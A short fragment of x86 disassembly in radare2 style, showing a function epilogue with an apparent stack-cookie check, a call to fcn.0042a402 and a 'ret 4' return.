xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042a402
leave
ret 4